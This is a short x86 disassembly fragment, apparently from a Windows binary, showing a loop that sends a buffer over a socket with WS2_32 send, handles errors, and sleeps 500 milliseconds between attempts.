lea ecx, [ebp - 0x5f0]
push ecx
mov edx, dword [ebp - 0x5f8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0xffffffff
jne 0x406c29
or eax, 0xffffffff
jmp 0x406c3c
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406bac
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 8